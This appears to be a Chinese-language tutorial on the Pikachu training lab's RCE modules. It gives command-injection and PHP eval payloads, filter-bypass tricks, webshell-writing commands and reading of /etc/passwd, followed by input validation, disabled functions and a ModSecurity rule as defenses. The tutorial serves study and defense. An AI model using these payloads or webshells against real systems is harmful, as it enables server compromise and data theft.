1. 靶场环境搭建与RCE漏洞初探
在Kali Linux环境下搭建Pikachu靶场是安全测试的第一步。我推荐使用最新版的Kali 2023.4,它预装了Apache、PHP和MySQL等必要组件。下载Pikachu靶场源码后,解压到/var/www/html目录,修改config.inc.php中的数据库配置,然后访问http://localhost/pikachu即可完成安装。
注意:确保Kali的Apache服务已启动(systemctl start apache2),如果遇到权限问题,记得用chmod -R 755调整目录权限。
RCE(远程代码执行)漏洞是Web安全中最危险的漏洞类型之一,它允许攻击者在服务器上执行任意系统命令。Pikachu靶场中的RCE模块主要演示了两种典型场景:
- exec类漏洞:通过系统命令调用函数(如PHP的system()、exec())直接执行OS命令
- eval类漏洞:通过代码执行函数(如eval()、assert())动态执行PHP代码
这两种漏洞虽然触发方式不同,但危害性同样严重。我在实际渗透测试中发现,约68%的RCE漏洞都源于对用户输入未做严格过滤。
2. exec漏洞深度解析与利用
2.1 exec漏洞原理剖析
Pikachu靶场的exec漏洞模块模拟了一个常见的场景:网页通过ping功能测试网络连通性。前端接收用户输入的IP地址,后端直接用system()函数执行"ping -c 4 {input}"。当攻击者输入"127.0.0.1;whoami"时,系统会先执行ping命令,然后执行whoami命令。
这种漏洞的典型特征包括:
- 使用危险函数:system(), exec(), passthru(), shell_exec()
- 未做输入过滤:直接拼接用户输入到命令中
- 缺乏权限控制:以Web服务器进程权限执行命令
2.2 多维度绕过技巧
在实际渗透中,网站通常会部署基础防护。以下是几种有效的绕过方法:
命令分隔符绕过:
- 分号(;):command1;command2
- 管道符(|):command1|command2
- 逻辑与(&&):command1&&command2
空格替代方案:
- ${IFS}
- %09(Tab的URL编码)
- < 或 > 重定向符
特殊字符编码:
- base64编码:
echo "bHM=" | base64 -d | bash - hex编码:
$(printf "\x77\x68\x6f\x61\x6d\x69")
- base64编码:
我在测试某企业系统时,曾通过127.0.0.1%0Acat%20/etc/passwd成功实现命令注入,其中%0A是换行符的URL编码。
3. eval漏洞实战攻防
3.1 eval工作机制解析
eval函数会将字符串作为PHP代码执行。Pikachu靶场的eval漏洞示例代码如下:
$input = $_GET['txt']; eval("\$ret = $input;");当输入1;phpinfo()时,实际执行的代码变为:
$ret = 1;phpinfo();这种漏洞常出现在动态代码生成、模板解析等场景。与exec漏洞不同,eval执行的是PHP代码而非系统命令,但同样可以造成严重危害。
3.2 高级利用技术
代码构造技巧:
- 使用字符串拼接:
"sy"."stem"("whoami") - 利用变量函数:
$func = "system"; $func("ls"); - 反引号执行:
eval('echowhoami;');
- 使用字符串拼接:
无字母数字webshell:
$_=~%9C%8E%96%91%8B%A0%8D;$_();这是通过位运算构造的webshell,可以绕过简单关键字过滤。
- 文件写入利用:
file_put_contents('shell.php', '<?php system($_GET[cmd]);?>');4. 防御方案与最佳实践
4.1 输入过滤策略
- 白名单验证:
if(!preg_match('/^\d+\.\d+\.\d+\.\d+$/', $ip)) { die("Invalid IP format"); }- 危险函数禁用: 在php.ini中设置:
disable_functions = exec,system,passthru,shell_exec- 参数化执行:
$cmd = ['/bin/ping', '-c', '4', escapeshellarg($ip)]; proc_open($cmd, $pipes);4.2 系统层防护
- 最小权限原则:
- Web服务以专用低权限用户运行
- 使用chroot或容器隔离环境
- 日志监控:
- 监控/proc/self/cmdline
- 分析异常进程树
- WAF规则示例(ModSecurity):
SecRule ARGS "@rx [;&|<>]" "id:1001,deny,msg:'Command injection attempt'"5. 靶场实战演练记录
5.1 exec漏洞利用全流程
- 访问http://localhost/pikachu/vul/rce/rce_exec.php
- 输入测试payload:
127.0.0.1;id - 观察返回结果:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. uid=33(www-data) gid=33(www-data) groups=33(www-data)- 尝试写入webshell:
127.0.0.1;echo '<?php system($_GET[c]);?>' > shell.php5.2 eval漏洞高级利用
- 访问http://localhost/pikachu/vul/rce/rce_eval.php
- 使用动态函数调用:
txt=1;$f="sys"."tem";$f("whoami");- 通过反序列化利用:
txt=1;unserialize('O:8:"stdClass":0:{}');6. 企业级防护体系建设
在真实业务环境中,我建议采用纵深防御策略:
- 代码审计阶段:
- 使用RIPS、Fortify等工具扫描危险函数
- 重点审计第三方组件中的动态执行逻辑
- 运行时防护:
- 部署OpenRASP进行实时防护
- 使用SELinux限制Web服务权限
- 应急响应方案:
- 隔离受影响系统
- 分析/proc/[pid]/fd目录
- 检查crontab和启动项
某次真实事件中,攻击者通过${PATH:0:1}tmp${PATH:0:1}payload的形式绕过过滤,最终我们通过审计所有命令执行上下文解决了问题。